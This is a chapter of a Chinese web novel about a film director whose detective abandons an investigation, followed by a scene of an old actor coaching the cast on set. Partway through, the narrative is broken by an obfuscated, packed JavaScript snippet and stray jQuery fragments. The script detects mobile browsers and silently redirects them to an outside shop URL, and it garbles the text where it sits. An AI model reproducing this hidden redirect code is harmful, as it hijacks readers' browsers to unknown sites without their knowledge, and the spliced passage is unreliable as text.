温清水在沙发上醒过来，脖子僵得发疼。


    她昨晚看分镜本看到凌晨三点，最后抱着平板电脑在沙发上睡着了。


    屏幕已经暗了，只有电源灯还亮着一点微弱的红光。


    手机在茶几上震动起来，嗡嗡的，持续了很久。


    她伸手去够，指尖碰到冰凉的屏幕。


    解锁，是那个没有头像的号码发来的消息，时间显示是凌晨四点二十七分。


    「温小姐，调查到此为止。这半年的费用，我会原路退回。」


    温清水盯着那行字，看了很久。


    久到屏幕自动暗下去，映出她自己模糊的脸，头发乱糟糟地翘着，眼底有淡淡的青。


    她重新按亮，打字：「什么叫到此为止？」


    对方回得很快：「就是字面意思。后面的路，我走不了。」


    「你就没有点职业道德吗？」


    「干这行的，哪有什么道德。」那边停顿了几秒，「大家都不容易，见好就收吧。」


    温清水握着手机，从刚睡醒的困倦里恢复。


    客厅里很静，只有冰箱压缩机启动时的轻微嗡鸣，像某种遥远的心跳。


    「是查到了惹不起的人吗？」她打字。


    对面沉默了。


    对话框上方的“正在输入”断断续续闪了很久，最后只发过来四个字：


    「别趟浑水。」


    那个号码就再也没有回复。


    温清水关掉手机，把它扔在沙发上。


    手机落在绒布面料上，发出沉闷的一声。


    她向后靠进沙发背里，闭上眼睛。


    眼皮内侧是暗红色的光晕，一跳一跳的，像心跳，也像某种警告。


    半年了，从桑晚出事到现在，整整半年。


    她找了这个侦探，每个月按时付钱，每周等消息。


    有时候会收到一点进展，比如那个司机妻子的汇款记录，比如当年办案交警的提前退休，比如那几笔从境外来的也查不清来源的钱。


    像拼图，一块一块，缓慢地拼。


    她以为至少能拼出个轮廓。


    结果现在，拼图的人说，这盒子我打不开了。


    他把钱退回来，撇清关系，像在说：这事太大了，我接不住，你也别碰。


    温清水睁开眼睛，看着天花板。


    白色的，很干净，什么都没有。


    就像她手里现在握着的线索，也什么都没有。


    窗外传来鸟叫，叽叽喳喳的，很吵。


    是麻雀，就在空调外机上蹦跳。


    她坐起身，揉了揉僵硬的脖子，骨头发出轻微的咔嗒声。


    她站起来，赤脚走进浴室。


    冷水扑在脸上，刺得皮肤发紧。


    她抬起头，看着镜子里的人。


    水珠顺着脸颊往下淌，滴在锁骨上，冰凉。


    她扯了扯嘴角，镜子里的那个人也扯了扯嘴角。


    不像笑，像某种自嘲。


    今天新剧开拍。


    她没时间在这里自怜。


    《北街往事》的拍摄地选在了城北一座改建的老医院。


    那是栋五十年代的苏式建筑，红砖墙，拱形窗，屋顶有苏联式的尖顶。


    医院前年搬迁了新址，这栋老楼一直空着，直到温清水看中了它的年代感。


    美术组花了半个月改造：墙面粉刷成八十年代医院常见的淡绿色，下半截刷了深绿色的墙裙；老式日光灯管悬在天花板上，偶尔会嗡嗡作响；水泥地面保留着原来的样子，有些地方磨得发亮，有些地方裂了细缝；走廊两侧的长椅是木头的，漆已经斑驳，露出里面深色的木纹。


    此刻，这里活过来了。


    韩守业背着手在场景里踱步。


    老爷子今天穿了件深蓝色的夹克，头发梳得一丝不苟。


    他走到柜台前，拿起那个算盘，熟练地拨了两下，珠子碰撞发出清脆的响声。


    “这算盘不错。”他说，“是真的老物件。”


    “从旧货市场淘的。”道具组的小伙子挠挠头，“跑了三个市场才找到。”


    韩守业点点头，又把算盘放回去。


    他转过身，看见温清水走进来，抬手打了个招呼，没多话，继续去看布景里的其他细节。


    温清水走到监视器后面。


    林寂已经在那里了，肩上挎着相机包，手里拿着个小本子，正低头记着什么。


    听见脚步声，他抬起头，“温导。”


    “来了。”温清水说，“跟着老陈学？”


    “嗯。”林寂点头，指了指不远处正在调整轨道的摄影指导老陈，“陈老师说今天先让我看走位和打光，明天再让我试试掌机。”


    “慢慢来。”温清水说，“不急。”


    林寂看着她，忽然问：“温导，你脸色不太好。”


    “没事。”温清水摇摇头，“昨晚没睡好。”


    第一场戏马上开拍了。


    走廊里安静得能听见日光灯管的嗡嗡声。


    沈舟饰演的□□在产房门口踱步，皮鞋踩在水泥地上，发出“嗒、嗒、嗒”的规律声响。他走得很直，很稳，但额头渗出了细密的汗。


    两个儿子并排坐在长椅上。


    七岁的大刚坐得笔直，五岁的二刚晃着腿，手里的纸飞机已经被捏得有点皱了。


    产房里又传来一声压抑的喘息。


    □□的脚步顿了一下。


    就在这时，韩守业的声音从监视器那边传过来，不高，但清晰：


    “停一下。”


    现场所有人都看向老爷子。


    韩守业背着手走过来，棉服的领子立着，围巾松松地搭在肩上。


    他先看了看沈舟，又看了看两个小演员，最后目光落在隔壁李叔身上，饰演李叔的是剧组请来的东北本地老演员，五十多岁，一脸朴实相。


    “老李，”韩守业开口，“你刚才在想什么？”


    李叔愣了一下，下意识摸了摸口袋里那根没点的烟，“我在想，建国这都第三个了，应该没那么紧张了吧。”


    “不对。”韩守业摇头，“你应该在想，这老陈家的，真能生。这要是再生个小子，将来娶媳妇的钱得攒到啥时候去。”


    现场有人没忍住，“噗”地笑出声。


    李叔也乐了，“还真是，我老家邻居就这样，四个小子，老头老太太到六十了还在打工。”


    “那就这么想。”韩守业说，“你越想这个，脸上的表情就越有意思，有点替他愁，又有点看热闹不嫌事大，还带着点过来人的感慨。”


    李叔琢磨了一会儿，点点头，“明白了。”


    韩守业又看向张奶奶。


    饰演张奶奶的是位话剧团退休的老演员，满头银发，戴着老花镜。


    “张老师，您念经呢？”


    张奶奶不好意思地笑，“我念‘保佑母子平安’。”


    “别念这个。”韩守业摆摆手，“您念点实在的。比如——”他清了清嗓子，模仿起老太太念叨的调子，“这胎要是个闺女就好了，闺女贴心，知道疼人。老陈家那俩小子，皮的哟，上个月把我家腌酸菜的缸都给撞歪了。”


    他学得惟妙惟肖，连那种老太太絮絮叨叨的节奏都一模一样。


    现场这次没憋住，笑声一片。


    张奶奶笑得眼睛眯成缝，“韩老师，您可太懂了。我婆婆当年就这么念叨我。”


    “那就这么念。”韩守业说，“小声点，但得让观众能听见几个词。‘闺女’‘贴心’‘酸菜缸’——这几个词出来，味儿就有了。”


    最后，他看向坐在长椅上的两个孩子。


    大刚和二刚立刻坐直了。


    “你俩，”韩守业蹲下身，视线和两个孩子平齐，“饿不饿？”


    二刚下意识点头，“饿。”


    大刚扯了扯弟弟的袖子，小声说：“妈在里面生妹妹呢，不能饿。”


    “饿了就说饿了。”韩守业笑了，“小孩嘛，天大地大吃饭最大。”


    他转向沈舟，“建国，你继续踱步。走到第五个来回的时候，二刚拽拽你袖子，说‘爸，我饿了’。”


    沈舟愣了一下，“这合适吗？正紧张的时候。”


    “太合适了。”韩守业站起来，“生活不就是这样吗？再大的事，孩子该饿还是饿。而且，”


    他看向温清水，“温导，你觉得呢？孩子一说饿，当爹的得愣一下，后面才反应过来，哦，孩子饿了。这种从‘生死大事’突然被拽回‘柴米油盐’的转换，本身就带点幽默。还不破坏紧张感，反而更真实。”


    温清水看着监视器里的画面，想了想，点头。


    “按韩老师说的来。”


    场记板再次打响。


    “《北街往事》第一场第三镜，Action！”


    温清水看着监视器里的回放。


    画面里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254536|196696||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，沈舟那三秒的愣神特别真实，那是被生活突然打断重大时刻的茫然，也是为人父的本能反应。


    李叔和王婶的对话，张奶奶的念叨，两个孩子的互动，都让场景丰满起来。


    她抬起头，看向韩守业。


    老爷子已经走回监视器那边，正跟摄影指导老陈说着什么，手指在空中比划着光位。


    夕阳从拱形窗斜射进来，照在他花白的头发上，镀了一层暖金色的光。


    温清水想，这就是老艺术家的本事。


    一句话，一个细节，就能让戏活过来。


    下午三点，厂房门口停了一辆白色的商务车。


    星光传媒的人来了。


    几个穿着西装的工作人员往下搬箱子，纸箱上印着某高档水果店的logo。


    另一个箱子里是奶茶，杯壁上凝结着细密的水珠，在午后的阳光里闪闪发亮。


    “温导！”负责人是个三十多岁的男人，戴金边眼镜，笑容标准，“李总监让我送点东西过来，给大家解解暑。”


    “谢谢。”温清水和他握手，“麻烦你们跑一趟。”


    “不麻烦不麻烦。”负责人连连摆手，“《北街往事》是公司这季度的重点项目，大家都期待着呢。”


    他说着，示意手下把东西分下去。


    奶茶一杯杯递到工作人员手里，水果切好了装在透明盒子里，红的是西瓜，黄的是芒果，绿的是蜜瓜，颜色鲜亮得像假的。


    场务小伙子们欢呼着围过来，你一杯我一杯，笑声在空旷的厂房里回荡。


    温清水拿了一杯奶茶，握在手里。


    冰凉的，杯壁很快凝出水珠，湿漉漉的，沾湿了她的手指。


    她转身走回监视器那边，乔舒然跟在她身边，手里也捧着一杯奶茶。


    两人站在监视器后，看着忙碌的现场。


    “好不真实啊。”乔舒然忽然说。


    温清水侧头看她。


    乔舒然低着头，吸管在杯子里搅着，冰块碰撞发出清脆的响声。


    她没看温清水，像是自言自语：“我跟你三年了。以前在剧组，咱们就是最底层的。编剧算什么，导演说改就得改，演员说不行就得重写。累死累活，工资也就那样。”


    她吸了一口奶茶。


    “现在呢，有人送奶茶送水果，说话客客气气的，片酬也涨了。”她笑了一下，声音有点哑，“我爸上个月做复查，医生说恢复得特别好。我把钱打回去的时候，我妈在电话里哭了。”


    乔舒然转过头，看向厂房高高的拱形窗。


    阳光从那里倾泻下来，照亮了她侧脸上细细的绒毛。


    “我就是觉得……”她的声音哽了一下，“好不真实。”


    眼泪掉下来，一滴，落在奶茶杯盖上。


    她赶紧抬手去擦，动作很快，像是怕被人看见。


    温清水没说话。


    她只是从口袋里掏出一包纸巾，抽出一张，递给乔舒然。


    乔舒然接过去，按在眼睛上。纸巾很快湿了一小块，贴在皮肤上。


    过了几秒，她放下手，眼睛红红的，但脸上努力挤出个笑。


    “谢谢。”她说，声音还有点哑。


    温清水摇了摇头。


    “我们会越来越好的。”


    她把奶茶放在监视器旁边，拿起对讲机。


    “各部门准备，二十分钟后拍第二十三场。”


    声音透过喇叭传出去，在空旷的厂房里回荡，带着点回声。


    场务开始清场，演员就位，摄影机就位。


    韩守业走到温清水身边，老爷子背着手，看着忙碌的现场，忽然说了一句：


    “这阵仗，比我当年拍电影还大。”


    温清水笑了，“时代不一样了。”


    “是啊。”韩守业点点头，“时代不一样了。”


    他看向温清水，“但你得记住，不管时代怎么变，戏好不好，观众心里有数。”


    “我记住了。”温清水说。


    阳光又挪动了一点，从厂房中央移到东侧的墙上。


    红砖墙被照得发亮，让温清水回忆起自己的童年时期，站在奶奶家的墙边，一次次的量身高。


    温清水看着那片光，她想，继续走吧。


    一步一步，慢慢走。


    走到能看见真相的那天。


    走到能让桑晚醒来的那天。


    在这之前，她不能停。